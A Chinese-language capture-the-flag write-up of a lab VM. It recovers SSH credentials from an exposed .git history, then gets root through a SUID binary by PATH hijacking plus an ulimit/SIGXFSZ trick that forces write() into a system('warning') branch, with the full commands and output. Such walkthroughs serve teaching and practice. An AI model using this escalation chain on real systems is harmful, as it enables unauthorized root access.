端口扫描

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p- 192.168.56.229 -Pn
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-21 23:07 -0500
Nmap scan report for 192.168.56.229
Host is up (0.00045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:49:76:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.49 seconds
```

细节探查

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p22,80 192.168.56.229 -Pn -sV -sC -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-21 23:08 -0500
Nmap scan report for 192.168.56.229
Host is up (0.0012s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
| http-git:
|   192.168.56.229:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to
name the...
|_    Last commit message: 4
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:49:76:35 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 -
7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.23 ms 192.168.56.229
```

```
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
```

发现git泄露，使用git-dumper下载下来。

```
┌──(root㉿kaada)-[/home/kali/Desktop/mazesec]
└─# git log -p
commit b20ebc0e54047f39e739f50e21837b154cd4c6b9 (HEAD -> master)
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:07:31 2026 -0500

    4

diff --git a/creds.txt b/creds.txt
new file mode 100644
index 0000000..8b25a83
--- /dev/null
+++ b/creds.txt
@@ -0,0 +1 @@
+june:showmeyourpassword

commit 1e0f35c5f74fa99bfff05187488e76bc6c072db6
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:07:02 2026 -0500

    3

diff --git a/creds.txt b/creds.txt
deleted file mode 100644
index e9a18ec..0000000
--- a/creds.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-june
-mTdwC2mn94UlBr31y56t
-

commit c62888da183b18a51c52bbfdad3d448fe2da2a86
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:06:43 2026 -0500

    2

diff --git a/creds.txt b/creds.txt
new file mode 100644
index 0000000..e9a18ec
--- /dev/null
+++ b/creds.txt
@@ -0,0 +1,3 @@
+june
+mTdwC2mn94UlBr31y56t
```

泄露了一组登录凭据。

ssh可以登陆上去

```
june@Worm:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/opt/write
```

发现可疑文件opt，下载下来看一下。

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# scp june@192.168.56.229:/opt/write .
The authenticity of host '192.168.56.229 (192.168.56.229)' can't be established.
ED25519 key fingerprint is: SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:9: [hashed name]
    ~/.ssh/known_hosts:10: [hashed name]
    ~/.ssh/known_hosts:12: [hashed name]
    ~/.ssh/known_hosts:16: [hashed name]
    ~/.ssh/known_hosts:17: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:19: [hashed name]
    ~/.ssh/known_hosts:20: [hashed name]
    (21 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.229' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
june@192.168.56.229's password:
write
```

用ida反编译看一下。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  int fd; // [rsp+24h] [rbp-Ch]
  char *s; // [rsp+28h] [rbp-8h]

  if ( argc != 2 )
  {
    fprintf(stderr, "Usage: %s \"message to write\"\n", *argv);
    exit(1);
  }
  s = (char *)argv[1];
  if ( setuid(0) < 0 )
  {
    perror("setuid(0) failed");
    exit(1);
  }
  fd = open("/opt/welcome.txt", 577, 420LL);
  if ( fd < 0 )
  {
    perror("Failed to open /opt/welcome.txt");
    if ( setuid(0) < 0 )
    {
      perror("setuid(0) failed before calling warning");
      exit(1);
    }
    system("warning");
    exit(1);
  }
  v3 = strlen(s);
  if ( write(fd, s, v3) < 0 )
  {
    perror("Failed to write to file");
    close(fd);
    if ( setuid(0) < 0 )
    {
      perror("setuid(0) failed before calling warning");
      exit(1);
    }
    system("warning");
    exit(1);
  }
  close(fd);
  puts("Message successfully written to /opt/welcome.txt");
  return 0;
}
```

1. 核心目标：强行进入错误分支

看这段 C 代码的核心逻辑：

C

```
// fd = open(...) 这一步成功了，因为文件存在且你有写权限（或者它本身就是为了让你写）
// 此时 fd 是一个有效的文件描述符

if ( write(fd, s, v3) < 0 )  // <--- 我们的攻击点
{
    // 只有 write 返回 -1 (失败)，才会进这里
    system("warning");       // 只有进这里，才能提权
    exit(1);
}
```

通常情况下，只要磁盘没满、文件没坏，`write` 几乎永远是成功的。为了触发提权，我们必须**人为地让 `write` 失败。**

```
june@Worm:~$ cd /tmp
june@Worm:/tmp$ echo "/bin/bash" > warning
june@Worm:/tmp$ chmod +x warning
june@Worm:/tmp$ export PATH=/tmp:$PATH
june@Worm:/tmp$ cd .opt
-bash: cd: .opt: No such file or directory
june@Worm:/tmp$ cd /opt
june@Worm:/opt$ ls -al
total 28
drwxr-xr-x  2 root root  4096 Jan 20 09:48 .
drwxr-xr-x 18 root root  4096 Mar 18  2025 ..
-rwsr-sr-x  1 root root 17104 Jan 20 09:47 write
```

```
june@Worm:/$ trap '' SIGXFSZ
june@Worm:/$ ulimit -f 0
june@Worm:/$ /opt/write "pwned"
Failed to write to file: File too large
root@Worm:/# id
uid=0(root) gid=1000(june) groups=1000(june)
root@Worm:/# ca
```

这是一个关于 **SUID 程序逻辑漏洞** 结合 **Linux 信号处理机制** 的高阶利用，核心原理在于通过操纵父进程（Shell）的环境变量和信号掩码，精确控制子进程（SUID程序）的执行流，使其进入预设的错误处理分支。攻击利用了 Linux 进程创建机制（`fork`/`exec`）的两个特性：父进程忽略（Ignore）的信号，子进程默认也会忽略，以及子进程会继承父进程的 `ulimit` 资源限制。通过这两个特性，攻击者强制 SUID 程序在执行 `write()` 时失败但不崩溃，从而"逃逸"到开发者设计的错误处理函数 `system("warning")` 中，并配合 PATH 劫持实现提权。

整个攻击链环环相扣，首先是**埋雷**，攻击者在 `/tmp` 创建包含 `/bin/bash` 的恶意脚本 `warning`，并将 `/tmp` 注入到 `$PATH` 头部，目的是利用程序中使用相对路径调用的漏洞。接着是**铸盾**，攻击者执行 `trap '' SIGXFSZ`，其中 `''` 代表忽略信号，这一设置被 SUID 子进程继承后，能防止程序因"写入超出文件大小限制"被内核发送的 `SIGXFSZ` 信号直接杀死，确保程序能活着进入错误处理逻辑。随后是**封喉**，通过执行 `ulimit -f 0` 将当前会话允许写入文件的最大大小限制为 0 字节，在物理层面上强制 `write()` 系统调用失败并返回 -1。最后是**触发**，当执行 `/opt/write` 时，程序尝试写入失败（因 `ulimit`），内核发送的终止信号被忽略（因 `trap`），代码进而走入错误分支执行 `system("warning")`，系统最终运行了攻击者伪造的 Root Shell 脚本。